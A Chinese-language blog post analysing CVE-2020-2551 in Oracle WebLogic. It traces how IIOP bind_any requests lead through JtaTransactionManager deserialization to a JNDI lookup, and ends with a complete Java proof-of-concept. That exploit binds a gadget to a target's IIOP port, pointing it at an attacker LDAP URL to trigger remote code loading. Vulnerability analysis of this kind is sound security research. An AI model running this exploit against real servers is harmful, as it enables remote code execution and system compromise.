Learning Man's Blog

CVE-2020-2551 简单分析

字数统计: 862阅读时长: 3 min
2020/03/20 Share

感觉又该重温 JNDI 了。。。

搭建

  • jdk 8u151
  • weblogic 12.1.4.0
  1. 通过此项目直接生成 docker 并启动,同时根据项目说明添加 Remote 方便进行 debug
  2. 进入 docker 拷贝出以下文件并添加至 poc 项目 Libraries
    • modules/com.bea.core.repackaged.springframework.spring.jar
    • server/lib/wlfullclient.jar

注意:wlfullclient.jar在12.1.3版本后被移除,点此查看具体信息,但可以通过以下命令生成

cd WL_HOME/server/lib
java -jar wljarbuilder.jar

-w1072

分析

IIOP 协议看的头疼,只好按流程说一下

每个 IIOP 数据包都会进入weblogic.iiop.ConnectionManager#dispatch进行解析,长度end对应数据对应原始包中数据

-w1917

直到收到 bind_any 的数据包(这里 wireshark 标记数据有些问题)

-w959

之后weblogic.rmi.internal.wls.WLSExecuteRequest#run进入weblogic.rmi.internal.BasicServerRef#handleRequest解析请求数据,如果userIdentity、action均不为null(均不用在意),会依次进入

  • weblogic.rmi.cluster.ClusterableServerRef#invoke
  • weblogic.corba.idl.CorbaServerRef#invoke
    -w891

如果method不为objectMedthods之一(定义在CorbaServerRef最底部),则会进入this.delegate._invokeweblogic.corba.cos.naming._NamingContextAnyImplBase#_invoke

-w1224

通过判断 method 进入对应流程 case,这里进入 case 0

-w1209

这里通过WNameHelper.read(InputStream istream)读取配置并进行注册,在读取long型数据时会进行4 bytes 对齐

红色部分为注册个数,黑色部分为对齐忽略部分,橘色为 key,绿色为 value,分别对应idkind

-w549

然后关注$result是如何产生的,先后跟入

  • weblogic.iiop.IIOPInputStream#read_any
  • weblogic.corba.idl.AnyImpl#read_value

-w478

首先通过读取类型为1d后,将输入流进行解析

-w838

-w552

-w586

之后进入通过设置 type 进入weblogic.corba.idl.AnyImpl#read_value

-w703

之后跟入weblogic.corba.idl.AnyImpl#read_value_internal,这里会根据 type 类型(29)尝试获取数据

-w676

这里会进入weblogic.iiop.IIOPInputStream#read_value(),看到序列化的标志

-w415

首先会读取 valueTag,(这里出现的getIndirectionValue不知道能不能利用,下来看看),通过查找是否已经有过对应 codebase 避免重复获取,如若没有则会通过之后的数据获取RMI注册表信息

-w862

对应位置如下,黄绿色为 valueTag,蓝色RMI注册数据长度,绿色为RMI注册内容(之后属性值解析也类似)

-w600

由于满足ObjectStreamClass.supportsUnsafeSerialization() == true,进入下面的处理逻辑:

首先通过反射获取实例对象

-w1646

-w857

之后进入weblogic.iiop.ValueHandlerImpl#readValue,通过深度遍历将其字段全部读取出来放入indirectionMap内实现完整序列化

在读取属性值时,跟入到com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject

-w767

在这里先通过java.io.ObjectInputStream#defaultReadObject会读取属性值到JtaTransactionManager中,同时生成一个 JndiTemplate 实例

跟入initUserTransactionAndTransactionManager,当userTransaction为空时,会通过从提供的userTransactionName中进行读取

-w793

一路跟到com.bea.core.repackaged.springframework.jndi.JndiTemplate#execute,剩下就是 JNDI的内容了

-w844

POC

  • JtaTransactionManager是spring爆出的一个可以JNDI注入的类,在weblogic中也存在
  • weblogic.jndi.WLInitialContextFactory 是weblogic的JNDI工厂类
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import ysoserial.payloads.util.Gadgets;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.Remote;
import java.util.Hashtable;

public class cve_2020_2551 {
    public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1";    // target host
        String port = "7001";       // target port
        String url = "ldap://192.168.31.96:1099/exp2";      // rmi/ldap url
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
        Context context = new InitialContext(env);
        // get object to Deserialize
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(url);
        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("pwned", remote);
    }
}

2020-03-19 11.14.37

推荐资料

  1. NAT网络问题
CATALOG
  1. 1. 搭建
  2. 2. 分析
  3. 3. POC
  4. 4. 推荐资料